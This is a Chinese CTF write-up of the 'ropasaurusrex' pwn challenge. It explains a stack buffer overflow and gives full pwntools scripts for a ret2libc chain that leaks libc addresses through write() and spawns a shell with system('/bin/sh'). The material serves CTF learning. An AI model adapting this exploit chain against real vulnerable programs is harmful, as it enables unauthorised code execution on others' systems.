跟随CTF-WIKI进行一个pwn的学
首先对二进制文件进行分析
32位i386小端序,开启了栈不可执行保护,符号表还被stripped了

直接扔进 IDA 看一眼,整体十分地简洁

点开 sub_80483F4(),其中给 buf 分配了136的空间,读长度是256,存在栈溢出的可能

可执行文件中没有 system() 函数地址,考虑使用 ret2libc,先将 libc 中符号地址泄露出来,再通过 libc search 查找相应的动态链接库。
可供对比地址查找的函数:__libc_start_main(),write(),read()
之后的问题是,如何将函数地址输出?答案是使用 write() 函数。
根据 ChatGPT(大嘘)和 Compile Explorer,使用 write() 向 stdout 输出的结构是这样的。当第一个参数设置为1时, write() 会向 stdout 写入,后面分别是消息与消息长度

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * from LibcSearcher import LibcSearcher
sh = process("./ropasaurusrex") r = ELF("./ropasaurusrex")
write_plt = r.plt['write'] libc_start_main_got = r.got['__libc_start_main']
payload = flat(['b'*140,write_plt,'a'*4,p32(1),libc_start_main_got,p32(20)]) print(payload) print(hex(write_plt),hex(libc_start_main_got)) sh.sendline(payload) libc_start_main_addr = u32(sh.recv()[0:4]) print(hex(libc_start_main_addr))
|
运行后结果如下,0xf7d0cde0 是 __libc_start_main 的地址

payload 这么构造会导致一个问题,如下图所示

write() 函数执行完成后,ret 时 $esp 指向 aaaa,即 payload 中第三项的值,那么,要返回什么呢?尝试一下返回 main 的符号?然而并没有 main

还记得上文说的函数 sub_80483F4() 吗?我们可以尝试返回它的地址,之后程序可以重复执行。
完整 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| from pwn import * from LibcSearcher import LibcSearcher
sh = gdb.debug("./ropasaurusrex")
r = ELF("./ropasaurusrex")
write_plt = r.plt['write'] libc_start_main_got = r.got['__libc_start_main'] read_got = r.got['read']
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),libc_start_main_got,p32(20)]) sh.sendline(payload) libc_start_main_addr = u32(sh.recv()[0:4])
payload = flat(['b'*140,write_plt,p32(0x80483F4),p32(1),read_got,p32(20)]) sh.sendline(payload) read_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr) libc.add_condition("read", read_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main') system_addr = libcbase + libc.dump('system') binsh_addr = libcbase + libc.dump('str_bin_sh')
payload = flat(['b' * 140, system_addr, 0xdeadbeef, binsh_addr]) sh.sendline(payload) sh.interactive()
|
